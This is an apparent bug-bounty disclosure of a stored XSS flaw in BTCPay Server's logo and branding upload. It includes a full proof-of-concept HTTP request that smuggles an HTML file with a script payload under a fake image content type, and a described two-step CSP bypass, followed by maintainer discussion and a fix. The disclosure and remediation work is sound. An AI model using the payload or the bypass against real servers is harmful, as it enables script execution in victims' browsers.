Stored XSS in server settings when upload branding in btcpayserver/btcpayserver

Valid

Reported on

Feb 9th 2023


Description

An attacker can upload an arbitrary file with a content type starting with image/

Proof of Concept

POST /server/theme HTTP/1.1
Host: localhost:14142
Content-Length: 1077
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:14142
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7B3TjVfqHc3bC21r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:14142/server/theme
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: menu_contracted=false; log_download_started=false; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=20099; ID=46704e79486b2f715a4d5755434c326e58775a4633513d3d; LOGIN=74657374406c6966657261792e636f6d; PASSWORD=30333634334d58675a447a464c586b6c6c65456255673d3d; REMEMBER_ME=true; SCREEN_NAME=30333634334d58675a447a464c586b6c6c65456255673d3d; sb_home_information=collapsed; sb_home_search=collapsed; .AspNetCore.Antiforgery.Mk-_zf2J-V0=CfDJ8FYjqZus8c1BpOCabvuhWm_UXed-8qmmXExxzI9tt6xA7c17hR82Tr24eUQdE2wOcmgNYsuW_O2c_tpFaQEaNUqkp8l7xcqbrGxzSNg03om-jJQ1Fsd-YhBnYNlzlOl92oM5-WzFRCbeM2ewDsZspsE; .AspNetCore.Identity.Application=CfDJ8FYjqZus8c1BpOCabvuhWm_gHTL0gTKsyWt4ZeCOAmSXr42Dbb-WmpInCepneZGYvTJmiMlr18f0vsSCiEurBL02QP2NxSv7ZqHdAxUF7CnZYJ4Qics0aIwfqzT-cF6jljTRJI9jAqWmv7judspo8OBIWYGigi8Ho2kuBPO81dO5lUrbK_yQa94Qmh-eTYv-xO6I2n5rD0AWRRSNYmMqzd4Dh9qaYAOGqkXNqCL2CGQhIMkfPliZ3e29TFfIMtDew7zJQkLgbbKA_gYMXPsiIfR2THL-zBPyHARpXtzc5_oNu0ggNxxkE-lk45TIErcnEMu1-vQ8EuI0XVIFvVnFwSAkFhq2YhXL1K9LqUhgjYCIB1WCtpatxgt62Kfy-4z1bs0Bd2QDwtPFhww7HmTKyPlykfg5WhWuG4tq_Dy9L14lgkIEhzzOvgPIH-c-kZWG5Tn1pWEudWw4oyy1zLa_oLOeE-jIXxz6O6XsaXVwCrffOEovPzE_JCFR6R8M9Nr8kqG-2BxdXwJGaGj30DkTF3lJaUU9OYrTy6wieLFAVwU9FDkR-dc2IG-tulUQIx7GlPMPs-aOWIlQK8uPrPHX1L4Jjct2XBUvo6Dm87ReI0UPMSRZhvDjISF7Wc0B72ydaqGBxsPlTU4ikjFE7crqC5qqdAT0DMn4cxlkMQ89eZoj3kYc_zZL-xlxQm7LtcUEGMKv5ISBztdQY612yf_ro4pVAHSSZX57UhQkUKXsUQcdnUGjKZ1NrUZ2xqOF7nEFIg3vI7ETIoqgROOt8Tek1fJwbDZxFgEXSZYPSQl7DNV4bbkfOV9Fhh0_QZ_8CCz4kw
Connection: close

------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomTheme"

true
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomThemeExtension"

Dark
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomThemeFile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="LogoFile"; filename="a.html"
Content-Type: image/xxx

<script>alert(document.domain)</script>
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="command"

Save
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="__RequestVerificationToken"

CfDJ8FYjqZus8c1BpOCabvuhWm_gKPJxGrBKKjuWI42lnbgQmh1HGbs5ranbQe99no80iSIrzOKF66uxiWhgUgt9NAdVXFflY2juURNE0TsfJbtyVJ6EE9aD6kRjF0NJUZAQa0KYpFW4ROcZxhtzGt7sahy5RtMgF4y7J1m3Jp7RrWz69JjuGph4c3XOX2Rtj2l98A
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomTheme"

false
------WebKitFormBoundary7B3TjVfqHc3bC21r--

Impact

Execute javascript code in browser victim

We are processing your report and will contact the btcpayserver team within 24 hours. 2 months ago
d47sec modified the report
2 months ago
We have contacted a member of the btcpayserver team and are waiting to hear back 2 months ago
Nicolas Dorier
2 months ago

Maintainer


Which version are you doing this? This should have been fixed 3 days ago, and has been already reported

Can you try to do that on https://mainnet.demo.btcpayserver.org/

And give me a link to the file executing the JS?

d47sec
2 months ago

Researcher


@Nicolas Dorier I tested on the 1.7.5 version, but I see the code in the new version is still the same

d47sec
2 months ago

Researcher


@Nicolas Dorier this feature exists with an admin user. This link https://mainnet.demo.btcpayserver.org/ I can not create an admin user

Nicolas Dorier
2 months ago

Maintainer


It was fixed in 1.7.6 with CSP https://github.com/btcpayserver/btcpayserver/pull/4567

You don't need to be admin user, you can create a store and in "Branding" upload any file.

d47sec
2 months ago

Researcher


@Nicolas Dorier this link has xss :)))

https://mainnet.demo.btcpayserver.org/LocalStorage/c52dc26e-0d3f-450d-984c-6b6e92e7887d-vcl2.html I can bypass csp

d47sec
2 months ago

Researcher


Step1: Upload 1 file js to the server via upload logo Step2: Upload 1 file js again, in this file has an src attribute equal URL of step 1, so i can bypass csp

d47sec
2 months ago

Researcher


@Nicolas Dorier my poc for bypass csp: https://drive.google.com/file/d/1GxIKFuNK2Zq1In9nf5KzRcVotfG5PuNm/view?usp=sharing

Nicolas Dorier
2 months ago

Maintainer


@d47sec the link https://mainnet.demo.btcpayserver.org/LocalStorage/c52dc26e-0d3f-450d-984c-6b6e92e7887d-vcl2.html is HTTP 404, are you sure you give the right url?

Nicolas Dorier
2 months ago

Maintainer


Ok your URL was incorrect, I manually copied what you show in the video and I confirm the allert show up.

Nicolas Dorier validated this vulnerability 2 months ago
d47sec has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Nicolas Dorier gave praise 2 months ago
Thanks for this. Damn, do you have any idea how I could mitigate this?
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Nicolas Dorier
2 months ago

Maintainer


I will apply a stricter CSP for files uploaded in LocalStorage.

d47sec
2 months ago

Researcher


@maintainer you should check the extension of the uploaded file. For uploading image files, you should check if the signature of the file is an image file, here you only check the content-type header and this can be easily bypassed by the attacker. You can read more here: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

d47sec
2 months ago

Researcher


can you assign CVE for this bug?

Nicolas Dorier
2 months ago

Maintainer


https://github.com/btcpayserver/btcpayserver/pull/4629

Checking if a file is really an image isn't easy though.

Nicolas Dorier
2 months ago

Maintainer


Yes

Nicolas Dorier marked this as fixed in 1.7.11 with commit dffa6a 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
Nicolas Dorier published this vulnerability 2 months ago
to join this conversation